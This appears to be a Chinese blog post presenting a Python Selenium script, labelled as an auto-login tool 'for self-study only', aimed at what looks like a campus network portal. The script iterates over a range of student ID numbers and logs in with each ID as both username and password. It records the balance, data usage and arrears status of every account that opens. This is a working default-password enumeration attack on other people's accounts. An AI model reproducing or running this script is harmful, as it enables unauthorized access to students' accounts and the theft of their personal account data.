用selenium写一个自动登录网站的功能

此文档仅供自己学习使用。

from selenium import webdriver
import time

xuehaoInfo = []
for xuehao in range(学号起始,201851501320):
  browser = webdriver.Chrome()
  browser.get("你的Url")
  time.sleep(1)
  name = browser.find_element_by_name("username")
  name.send_keys(str(xuehao))
  passwd = browser.find_element_by_name("password")
  passwd.send_keys(str(xuehao))
  domain = browser.find_element_by_name("domain")
  domain.send_keys("@ytu")
  login_button = browser.find_element_by_id("login")
  login_button.click()
  time.sleep(1)
  try:
      info = browser.find_element_by_class_name("layui-layer-content")
  except:
      print(xuehao)
      used_flow = browser.find_element_by_id("used_flow")
      balance = browser.find_element_by_id("balance")
      xuehaoInfo.append(str(xuehao)+"余额为:"+balance.text+"已用"+used_flow.text)
      logout_button = browser.find_element_by_id("logout")
      logout_button.click()

  else:
      if info.text == "帐号或密码错误":
          print("密码错误")
      elif info.text == "用户已欠费":
          xuehaoInfo.append(str(xuehao)+"欠费")
          print("欠费")
  browser.close()

with open("xuehao.txt", "w") as f:
  for info in xuehaoInfo:
      f.write(info)